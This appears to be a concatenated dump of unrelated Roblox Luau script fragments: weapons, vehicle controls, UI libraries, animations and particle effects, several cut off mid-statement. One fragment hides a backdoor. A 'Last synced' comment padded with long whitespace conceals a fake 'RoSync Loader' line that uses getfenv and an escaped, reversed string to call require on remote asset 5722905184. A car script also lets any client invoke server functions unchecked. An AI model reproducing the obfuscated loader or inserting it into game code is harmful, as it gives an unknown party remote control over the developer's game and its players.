Roblox/luau_corpus huggingface dataset:
----------------------------------------------------------------------------------------------------------------
function GunUp()
Holstered = false
Tool.Enabled = true
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(0.9, 0.6, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(270), math.rad(25), math.rad(0))
torso.weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
end
end

function GunDown()
Holstered = true
Tool.Enabled = false -- You don't want to be shooting if your not aiming
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(0.9, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(310), math.rad(25), math.rad(-20))
torso.weld2.C1 = CFrame.new(-1, 0.4, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(-20), 0)
end
end
--[[**
	ensures value is a number where min < value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]
function t.numberMinExclusive(min)
	return function(value)
		local success, errMsg = t.number(value)
		if not success then
			return false, errMsg or ""
		end

		if min < value then
			return true
		else
			return false, string.format("number > %s expected, got %s", min, value)
		end
	end
end
--F.updateSound = function(Sound, Pitch, Volume)
--	if Sound then
--		if Pitch then
--			Sound.Pitch = Pitch
--		end
--		if Volume then
--			Sound.Volume = Volume
--		end
--	end
--end

F.lock = function(x)
	if x then
		for i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do
			if v:IsA("Motor") then
				if v.Parent.Parent.Name == "Mirror" then
				else v.DesiredAngle = 0
				end
			end
		end
		carSeat.Lock:Play()
	else
		carSeat.Unlock:Play()
		wait(.4)
		carSeat.Unlock:Play()
	end
	for i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do
		if v:IsA("ClickDetector") then
			v.MaxActivationDistance = x and 0 or 12
		end
	end
end

local on = 0

F.rs = function(y)
	local tune = require(carSeat.Parent:FindFirstChild("A-Chassis Tune"))
	carSeat.IsOn.Value = y
	if y then
		carSeat.Startup:Play()
		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2
	else car.DriveSeat.Rev.Pitch = 0
		carSeat.Startup:Stop()
	end
end

F.user = function()
	carSeat.Parent:Destroy()
end

F.tk = function(b)
	carSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1.5 or 0
end

script.Parent.OnServerEvent:connect(function(Player, Func, ...)
	if F[Func] then
		F[Func](...)
	end
end)
--[[
	Gets the child corresponding to a given key, respecting Roact's rules for
	children. Specifically:
	* If `elements` is nil or a boolean, this will return `nil`, regardless of
		the key given.
	* If `elements` is a single element, this will return `nil`, unless the key
		is ElementUtils.UseParentKey.
	* If `elements` is a table of elements, this will return `elements[key]`.
]]
function ElementUtils.getElementByKey(elements, hostKey)
	if elements == nil or typeof(elements) == "boolean" then
		return nil
	end

	if Type.of(elements) == Type.Element then
		if hostKey == ElementUtils.UseParentKey then
			return elements
		end

		return nil
	end

	if Type.of(elements) == Type.Fragment then
		return elements.elements[hostKey]
	end

	if typeof(elements) == "table" then
		return elements[hostKey]
	end

	error("Invalid elements")
end

return ElementUtils
--[[	local lockL = Instance.new("Motor") 
	lockL.Parent = carSeat.Parent.Parent.LW.ML
	lockL.Part0 = carSeat.Parent.Parent.LW.ML
	lockL.Part1 = carSeat.Parent.Parent.Suspension.ML
	local lockR = Instance.new("Motor") 
	lockR.Parent = carSeat.Parent.Parent.RW.MR
	lockR.Part0 = carSeat.Parent.Parent.RW.MR
lockR.Part1 = carSeat.Parent.Parent.Suspension.MR]]-- 
--end
	--else

		--if m == true then
	--	m = false occ = false 
		--carSeat.Parent.Parent.LW.ML.Motor:remove() 
	--	end
-------------------------- Custom Command Stuff --------------------------
--[[
	Player = Returns a table of all the players it could find with your given command
	String = Returns a string that you've given it
	Number = Returns a given number
--]]

local Custom_Commands = {
-- connect events

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact'))
local new = Roact.createElement
---[[ Message Settings ]]
module.MaximumMessageLength = 400
module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"}
module.ClickOnPlayerNameToWhisper = true
module.ClickOnChannelNameToSetMainChannel = true
module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}
--< tween info:TweenPosition(endPosition, EasingDirection, EasingStyle, Time, Override)

local dir = "Out"
local style = "Quad"
local dur = 0.5
--		print("Wha " .. pose)
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	if (setAngles) then
		local desiredAngle = amplitude * math.sin(time * frequency)

		RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
		LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
		RightHip:SetDesiredAngle(-desiredAngle)
		LeftHip:SetDesiredAngle(-desiredAngle)
	end

	-- Tool Animation handling
	local tool = getTool()
	if tool then
	
		local animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()		
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimTime = 0
	end
end
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local MoveUtil = require(script.Parent:WaitForChild 'Util')
--!strict
type Array<T> = { [number]: T }
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
type Object = { [string]: any }
--Constructor and destructor
function homing_test:New(object)
	--Initialize meta reference
	local self = setmetatable({}, {__index = homing_test})

	--Use object information
	self.object = object
	self.root = object.PrimaryPart

	--Attach functions
	self.touch_player = TouchPlayer

	--Set other specifications
	self.homing_target = true

	return self
end

function homing_test:Destroy()

end

return homing_test
--[[ Last synced 3/7/2021 02:41                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Compiled with roblox-ts v2.0.4
local exports = {}
exports.SELECTED_COLOR = Color3.fromRGB(191, 36, 36)
local function changeColor(color)
	print(exports.SELECTED_COLOR:ToHex())
	exports.SELECTED_COLOR = color
	print(exports.SELECTED_COLOR:ToHex())
	return exports.SELECTED_COLOR
end
exports.changeColor = changeColor
return exports
--[[
	Creates a function that invokes a callback with correct error handling and
	resolution mechanisms.
]]
local function createAdvancer(callback, resolve, reject)
	return function(...)
		local resultLength, result = wpcallPacked(callback, ...)
		local ok = result[1]

		if ok then
			resolve(unpack(result, 2, resultLength))
		else
			reject(unpack(result, 2, resultLength))
		end
	end
end

local function isEmpty(t)
	return next(t) == nil
end

local function createSymbol(name)
	assert(type(name) == "string", "createSymbol requires `name` to be a string.")

	local symbol = newproxy(true)

	getmetatable(symbol).__tostring = function()
		return ("Symbol(%s)"):format(name)
	end

	return symbol
end

local PromiseMarker = createSymbol("PromiseMarker")

local Promise = {}
Promise.prototype = {}
Promise.__index = Promise.prototype

Promise.Status = {
	Started = createSymbol("Started"),
	Resolved = createSymbol("Resolved"),
	Rejected = createSymbol("Rejected"),
}
--[[
	Index into `Event` to get a prop key for attaching to an event on a Roblox
	Instance.

	Example:

		Roact.createElement("TextButton", {
			Text = "Hello, world!",

			[Roact.Event.MouseButton1Click] = function(rbx)
				print("Clicked", rbx)
			end
		})
]]

local Type = require(script.Parent.Parent["Type.roblox"])

local Event = {}

local eventMetatable = {
	__tostring = function(self)
		return string.format("RoactHostEvent(%s)", self.name)
	end,
}

setmetatable(Event, {
	__index = function(self, eventName)
		local event = {
			[Type] = Type.HostEvent,
			name = eventName,
		}

		setmetatable(event, eventMetatable)

		Event[eventName] = event

		return event
	end,
})

return Event
-- Output callback function receives the number of adjacent items
-- and starting indexes of each common subsequence.
type FoundSubsequence = (
	number, -- caller can assume: 0 < nCommon
	number, -- caller can assume: 0 <= aCommon && aCommon < aLength
	number -- caller can assume: 0 <= bCommon && bCommon < bLength
) -> ()
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries'
local Make = require(Libraries:WaitForChild 'Make')
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
-- declarations

local sDied = newSound("rbxasset://sounds/uuhhh.wav")


function playOuch(char)
	local sound = char.Head:FindFirstChild("CaltropOw")
	if (sound == nil) then
		sound = newSound("rbxasset://sounds/uuhhh.wav")
		sound.Parent = char.Head
	end
	sound:Play()
end


function onTouched(hit)


	humanoid = hit.Parent:findFirstChild("Humanoid")
	if humanoid~=nil then

		tagHumanoid(humanoid)

		humanoid:TakeDamage(damage)

		playOuch(humanoid.Parent)


	end
	
end


function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		debris:AddItem(new_tag, 1)
	end
end

connection = script.Parent.Touched:connect(onTouched)

debris:AddItem(script.Parent, 240)
-- Settings
local Configuration = Home:WaitForChild("Configuration")
local SwingPower = Configuration:WaitForChild("SwingPower")

local function SetPhysicalProperties(Part,Density)
	if Part then
		Part.CustomPhysicalProperties = PhysicalProperties.new(Density,Part.Friction,Part.Elasticity)
	end
end

GetAllDescendants = function(instance, func)
	func(instance)
	for _, child in next, instance:GetChildren() do
		GetAllDescendants(child, func)
	end
end

local function SetCharacterToWeight(ToDensity,Char)
	GetAllDescendants(Char,function(d)
		if d and d.Parent and d:IsA("BasePart") then
			SetPhysicalProperties(d,ToDensity)
		end
	end)
end

TireSeat.Changed:connect(function()
	if TireSeat.Occupant then
		local CurrentThrottle = TireSeat.Throttle
		
		-- Adjust swing when interacted
		if CurrentThrottle == 1 then
			BodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * 100
		elseif CurrentThrottle == -1 then
			BodyForce.Force = TireMesh.CFrame.lookVector * SwingPower.Value * -100
		else
			BodyForce.Force = Vector3New()
		end
		
		delay(0.2,function()
			BodyForce.Force = Vector3New()
		end)
		
		-- Make the character weightless for the swing to behave correctly
		if CurrentOccupant == nil then
			CurrentOccupant = TireSeat.Occupant
			SetCharacterToWeight(0,CurrentOccupant.Parent)
		end
		
	elseif CurrentOccupant then
		-- Set the character's weight back
		SetCharacterToWeight(0.7,CurrentOccupant.Parent)
		CurrentOccupant = nil
	end
end)
--Spiders--

local function AttachParticleControl(source_part)
	
	local prtc = nil
	local prtc2 = nil
	
	local function Start()
		prtc = script.Spider:clone()
		prtc.Parent = source_part
		prtc2 = script.Web:clone()
		prtc2.Parent = source_part
	end
	
	local function Update()
		
	end
	
	local function Stop()
		if prtc ~= nil then
			prtc:destroy()
			prtc = nil
		end
		if prtc2 ~= nil then
			prtc2:destroy()
			prtc2 = nil
		end
	end
	
	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachParticleControl
--[[**
	ensures Lua primitive callback type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]
t.callback = primitive("function")
t["function"] = t.callback
--[=[
	@prop catalogViewOpened RBXScriptSignal
	@within MerchBooth
	@client

	Fired when the catalog view is opened.
]=]
uiStatesEvents.catalogViewOpened = Instance.new("BindableEvent")
-- دالة الاصطدام
local function onTouched(part)
	local humanoid = part.Parent:FindFirstChild("Humanoid")
	if humanoid then
		local player = game.Players:GetPlayerFromCharacter(part.Parent)
		if player then
			-- إعادة موقع اللاعب إلى المكان الأصلي
			player.Character:SetPrimaryPartCFrame(CFrame.new(0, 5, 0))

			-- إنشاء قوة الرمي
			local throwDirection = (part.Position - wall.Position).Unit
			local throwVelocity = throwDirection * throwForce

			-- رمي اللاعب
			humanoid.PlatformStand = true -- لمنع اللاعب من الوقوف على الجدار أثناء الرمي
			humanoid.Sit = true -- لتجنب أخطاء الحركة أثناء الرمي
			humanoid.RootPart.Velocity = throwVelocity

			-- إعادة تمكين اللاعب بعد فترة زمنية
			wait(2)
			humanoid.PlatformStand = false
			humanoid.Sit = false
		end
	end
end
--///////////////////////// Constructors
--//////////////////////////////////////

function module.new(CommandProcessor, ChatWindow)
	local obj = setmetatable({}, methods)

	obj.GuiObject = nil
	obj.ChatBarParentFrame = nil
	obj.TextBox = nil
	obj.TextLabel = nil
	obj.GuiObjects = {}
	obj.eGuiObjectsChanged = Instance.new("BindableEvent")
	obj.GuiObjectsChanged = obj.eGuiObjectsChanged.Event

	obj.Connections = {}
	obj.InCustomState = false
	obj.CustomState = nil

	obj.TargetChannel = nil
	obj.CommandProcessor = CommandProcessor
	obj.ChatWindow = ChatWindow

	obj.TweenPixelsPerSecond = 500
	obj.TargetYSize = 0

	obj.AnimParams = {}
	obj.LastFocusedState = nil

	obj.ChannelNameColors = {}

	obj:InitializeAnimParams()

	ChatSettings.SettingsChanged:connect(function(setting, value)
		if (setting == "ChatBarTextSize") then
			obj:SetTextSize(value)
		end
	end)


	return obj
end

return module
-- find the error signal by navigating into the folder in ReplicatedStorage
local ErrorFolder = ReplicatedStorage:FindFirstChild("ErrorReporting", false)
if not ErrorFolder then
	printWarningMessage("ReplicatedStorage.ErrorReporting")
	return
end

local ClientErrorEvent = ErrorFolder:FindFirstChild("ClientErrorEvent")
if not ClientErrorEvent then
	printWarningMessage("ReplicatedStorage.ErrorReporting.ClientErrorEvent")
	return
end
-- Local player
local player = Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")

local waypointFolder = game.Workspace:WaitForChild("Waypoints")
--Stickmasterluke

local sp=script.Parent

function update()
	sp.Scope.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)
	sp.Scope.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)
	--sp.ScopeId.Position=UDim2.new(.5,-10-(sp.AbsoluteSize.y/2),0,-10)
	--sp.ScopeId.Size=UDim2.new(0,20+sp.AbsoluteSize.y,0,20+sp.AbsoluteSize.y)
	sp.F1.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)
	sp.F2.Size=UDim2.new(0,20+((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),1,20)
	sp.F2.Position=UDim2.new(1,-10-((sp.AbsoluteSize.x-sp.AbsoluteSize.y)/2),0,-10)
end
wait()
sp.Changed:connect(update)
update()
-- Function to bind to equip event
local function equip()
	local torso = player.Character.Torso
	
	-- Setup joint variables
	neck = torso.Neck	
	oldNeckC0 = neck.C0
	shoulder = torso:FindFirstChild("Right Shoulder")
	oldShoulderC0 = shoulder.C0
	
	-- Remember old mouse icon and update current
	oldIcon = mouse.Icon
	mouse.Icon = "http://www.roblox.com/asset/?id=170477320"
	
	-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
	if userInputService.TouchEnabled then
		connection = userInputService.TouchMoved:connect(mobileFrame)
	else
		connection = render:connect(pcFrame)
	end
	
	-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
	-- during touch input
	userInputService.TouchStarted:connect(function(touch, processed)
		mobileShouldTrack = not processed
	end)	
	userInputService.TouchEnded:connect(function(touch, processed)
		mobileShouldTrack = false
	end)
	
	-- Fire server's equip event
	game.ReplicatedStorage.ROBLOX_PistolEquipEvent:FireServer()
	
	-- Bind event for when mouse is clicked to fire server's fire event
	mouse.Button1Down:connect(function()
		game.ReplicatedStorage.ROBLOX_PistolFireEvent:FireServer(mouse.Hit.p)
	end)
	
	-- Bind reload event to mobile button and r key
	contextActionService:BindActionToInputTypes("Reload", function() 
		game.ReplicatedStorage.ROBLOX_PistolReloadEvent:FireServer()		
	end, true, "")
	
	-- If game uses filtering enabled then need to update server while tool is
	-- held by character.
	if workspace.FilteringEnabled then
		while connection do
			wait()
			game.ReplicatedStorage.ROBLOX_PistolUpdateEvent:FireServer(neck.C0, shoulder.C0)
		end
	end
end
-- Disable the Dropper so Adonis doesn't try to load on BindToClose()
script.Disabled = true
--	if n == true then n = false
	--carSeat.Parent.Parent.RW.MR.Motor:remove()
	--end
--[[
	Create a new Store whose state is transformed by the given reducer function.

	Each time an action is dispatched to the store, the new state of the store
	is given by:

		state = reducer(state, action)

	Reducers do not mutate the state object, so the original state is still
	valid.
]]
function Store.new(reducer, initialState, middlewares, errorReporter)
	assert(typeof(reducer) == "function", "Bad argument #1 to Store.new, expected function.")
	assert(middlewares == nil or typeof(middlewares) == "table", "Bad argument #3 to Store.new, expected nil or table.")
	if middlewares ~= nil then
		for i=1, #middlewares, 1 do
			assert(
				typeof(middlewares[i]) == "function",
				("Expected the middleware ('%s') at index %d to be a function."):format(tostring(middlewares[i]), i)
			)
		end
	end

	local self = {}

	self._errorReporter = errorReporter or rethrowErrorReporter
	self._isDispatching = false
	self._reducer = reducer
	local initAction = {
		type = "@@INIT",
	}
	self._actionLog = { initAction }
	local ok, result = xpcall(function()
		self._state = reducer(initialState, initAction)
	end, tracebackReporter)
	if not ok then
		self._errorReporter.reportReducerError(initialState, initAction, {
			message = "Caught error in reducer with init",
			thrownValue = result,
		})
		self._state = initialState
	end
	self._lastState = self._state

	self._mutatedSinceFlush = false
	self._connections = {}

	self.changed = Signal.new(self)

	setmetatable(self, Store)

	local connection = self._flushEvent:Connect(function()
		self:flush()
	end)
	table.insert(self._connections, connection)

	if middlewares then
		local unboundDispatch = self.dispatch
		local dispatch = function(...)
			return unboundDispatch(self, ...)
		end

		for i = #middlewares, 1, -1 do
			local middleware = middlewares[i]
			dispatch = middleware(dispatch, self)
		end

		self.dispatch = function(_self, ...)
			return dispatch(...)
		end
	end

	return self
end
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --


Lift:WaitForChild("Velocity").Changed:connect(function(vel)
    if vel > 0 then
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Really black")
    elseif vel < 0 then
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Daisy orange")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Daisy orange")
	else
		This.Display.ARW1.U1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.U3.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D1.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D2.BrickColor = BrickColor.new("Really black")
		This.Display.ARW1.D3.BrickColor = BrickColor.new("Really black")
    end
end)
--// Damage Settings	
	BaseDamage = 22;
	LimbDamage = 18;
	ArmorDamage = 15;
	HeadDamage = 1000;
-- Load tool completely
local Indicator = Tool:WaitForChild 'Loaded';
while not Indicator.Value do
	Indicator.Changed:Wait();
end;
--[[
	Returns a snapshot of this component given the current props and state. Must
	be overridden by consumers of Roact and should be a pure function with
	regards to props and state.

	TODO (#199): Accept props and state as arguments.
]]
function Component:render()
	local internalData = self[InternalData]

	local message = componentMissingRenderMessage:format(
		tostring(internalData.componentClass)
	)

	error(message, 0)
end
--All sounds are referenced by this ID
local SFX = {
	Died = 0;
	Running = 1;
	Swimming = 2;
	Climbing = 3,
	Jumping = 4;
	GettingUp = 5;
	FreeFalling = 6;
	FallingDown = 7;
	Landing = 8;
	Splash = 9;
}

local useUpdatedLocalSoundFlag = UserSettings():IsUserFeatureEnabled("UserFixCharacterSoundIssues")

local Humanoid = nil
local Head = nil
-- constants

return function(character)
	local rootPart	= character.HumanoidRootPart
	
	local attachment	= Instance.new("Attachment")
		attachment.CFrame	= CFrame.new(0, 0.8, 0)
		attachment.Parent	= rootPart
	
	local emitter1	= script.OutlineEmitter:Clone()
		emitter1.Parent	= attachment
		
	local emitter2	= script.GlowEmitter:Clone()
		emitter2.Parent	= attachment
		
	local info	= TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.In)
	
	local tween1	= TweenService:Create(emitter1, info, {Rate = 0})
	local tween2	= TweenService:Create(emitter2, info, {Rate = 0})
	
	tween1:Play()
	tween2:Play()
		
	wait(5)
	
	emitter1.Enabled	= false
	emitter2.Enabled	= false
	
	Debris:AddItem(attachment, 0.5)
end
--//# Terrain Setup
function SetupTerrain()
	local Terrain = game.Workspace.Terrain;
	Terrain.WaterTransparency = 1
	Terrain.WaterReflectance = 1
end

if Enabled then
	if TerrainPlusEnabled then
		SetupTerrain()
		warn("Loaded Better Terrain")
	end
	if BetterLightingEnabled then
		SetupLighting_()
		warn("Loaded Lighting+")
	end
elseif not Enabled then
	error("Script Disabled.")
	return false
end
--Default--

local function AttachParticleControl(source_part)
	
	local function Start()

	end
	
	local function Update()
		
	end
	
	local function Stop()

	end
	
	return {Start = Start, Update = Update, Stop = Stop}
end

return AttachParticleControl